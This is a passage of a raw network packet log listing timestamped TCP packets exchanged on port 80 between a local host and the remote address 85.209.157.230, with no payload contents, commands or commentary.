Aug 31, 2022 08:34:31.279504061 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.279508114 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.279524088 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.279527903 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.279541016 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.279561043 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.279576063 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.279582024 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.279602051 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.279622078 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.279637098 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.279643059 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.279659033 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.279665947 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.279674053 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.279696941 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.279697895 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.279707909 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.279742956 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.279799938 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.279818058 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.279833078 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.279853106 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.279897928 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.279922009 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.279937029 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.279941082 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.279962063 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.279973984 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.279983044 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.279999018 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.280019045 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.280040979 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.280052900 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.280085087 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.280364037 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.280383110 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.280399084 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.280435085 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.280437946 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.280455112 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.280473948 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.280581951 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.280612946 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.280621052 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.280637026 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.280652046 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.280668020 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.280680895 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.280683041 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.280711889 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.280908108 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.280955076 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.280973911 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.280989885 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.281013012 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.281037092 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.281044006 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.281063080 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.281100988 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.281126976 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.281147003 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.281166077 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.281183004 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.281193018 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.281205893 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.281230927 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.281250000 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.281286955 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.281301975 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.281337023 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.281337976 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.281354904 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.281375885 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.281418085 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.281438112 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.281454086 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.281454086 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.281470060 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.281503916 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.281542063 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.281553030 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.281578064 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.281620979 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.281656981 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.281676054 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.281704903 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.281709909 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.281721115 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.281740904 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.281740904 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.281761885 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.281774998 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.281783104 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.281800985 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.281816006 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.281827927 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.281836987 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.281864882 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.282257080 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.282283068 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.282299995 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.282318115 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.282322884 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.282340050 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.282354116 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.282360077 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.282382011 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.282398939 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.282413960 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.282417059 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.282444000 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.282460928 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.282473087 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.282506943 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.282572031 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.282589912 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.282618046 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.282655954 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.282671928 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.282691956 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.282706976 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.282713890 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.282730103 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.282744884 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.282757044 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.282767057 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.282795906 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.282857895 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.282900095 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.282918930 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.282937050 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.282938957 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.282964945 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.282982111 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.282989025 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.283015013 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.283016920 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.283031940 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.283090115 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.283103943 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.283107996 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.283119917 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.283153057 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.283478975 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.283499002 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.283514023 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.283545971 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.283565998 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.283581972 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.283601046 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.283617020 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.283652067 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.283663988 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.283683062 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.283700943 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.283719063 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.283730984 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.283735037 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.283762932 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.283864975 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.283886909 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.283909082 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.283929110 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.283946037 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.283948898 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.283967972 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.283971071 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.283987045 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.284007072 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.284008026 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.284024954 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.284041882 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.284044027 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.284054041 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.284074068 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.309565067 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.309607983 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.309636116 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.309660912 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.309686899 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.309703112 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.309708118 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.309727907 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.309741020 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.309746981 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.309767962 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.309772968 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.309786081 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.309793949 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.309812069 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.309834003 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.309838057 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.309863091 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.309891939 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.309902906 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.309915066 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.309938908 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.309956074 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.309966087 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.309988976 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.310008049 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.310022116 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.310028076 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.310060978 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.310096025 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.310125113 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.310148001 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.310180902 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.310194016 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.310205936 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.310230970 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.310237885 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.310261965 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.310271978 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.310282946 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.310302973 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.310323000 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.310326099 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.310337067 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.310360909 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.310887098 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.310914993 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.310941935 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.310971022 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.310992002 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.311005116 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.311021090 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.311026096 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.311053038 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.311074018 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.311077118 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.311094046 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.311113119 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.311116934 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.311126947 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.311151028 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.311234951 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.311280012 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.311300993 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.311322927 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.311330080 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.311377048 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.311378002 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.311400890 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.311420918 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.311441898 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.311466932 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.311475039 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.311487913 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.311503887 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.311510086 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.311533928 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.311841965 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.311872005 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.311902046 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.311924934 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.311937094 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.311954021 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.311980963 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.311986923 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.312002897 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.312016010 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.312026978 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.312056065 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.312064886 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.312076092 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.312091112 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.312124968 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.313234091 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.313261032 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.313316107 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.313323021 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.316791058 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.316823006 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.316843987 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.316863060 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.316883087 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.316898108 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.316900969 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.316940069 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.316950083 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.316970110 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.316982985 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.316989899 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.317014933 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.317027092 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.317039013 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.317070961 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.317075968 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.317095995 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.317121029 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.317143917 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.317157984 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.317169905 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.317190886 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.317192078 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.317204952 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.317235947 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.317262888 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.317284107 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.317310095 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.317325115 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.317337990 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.317362070 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.317377090 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.317380905 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.317404032 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.317441940 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.317454100 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.317476034 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.317495108 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.317501068 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.317522049 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.317536116 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.317560911 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.317974091 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.318032980 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.318039894 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.318072081 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.318105936 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.318129063 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.318145990 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.318151951 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.318177938 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.318180084 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.318209887 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.318223000 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.318228960 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.318249941 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.318269014 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.318269014 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.318283081 CEST	80	49763	85.209.157.230	192.168.2.3
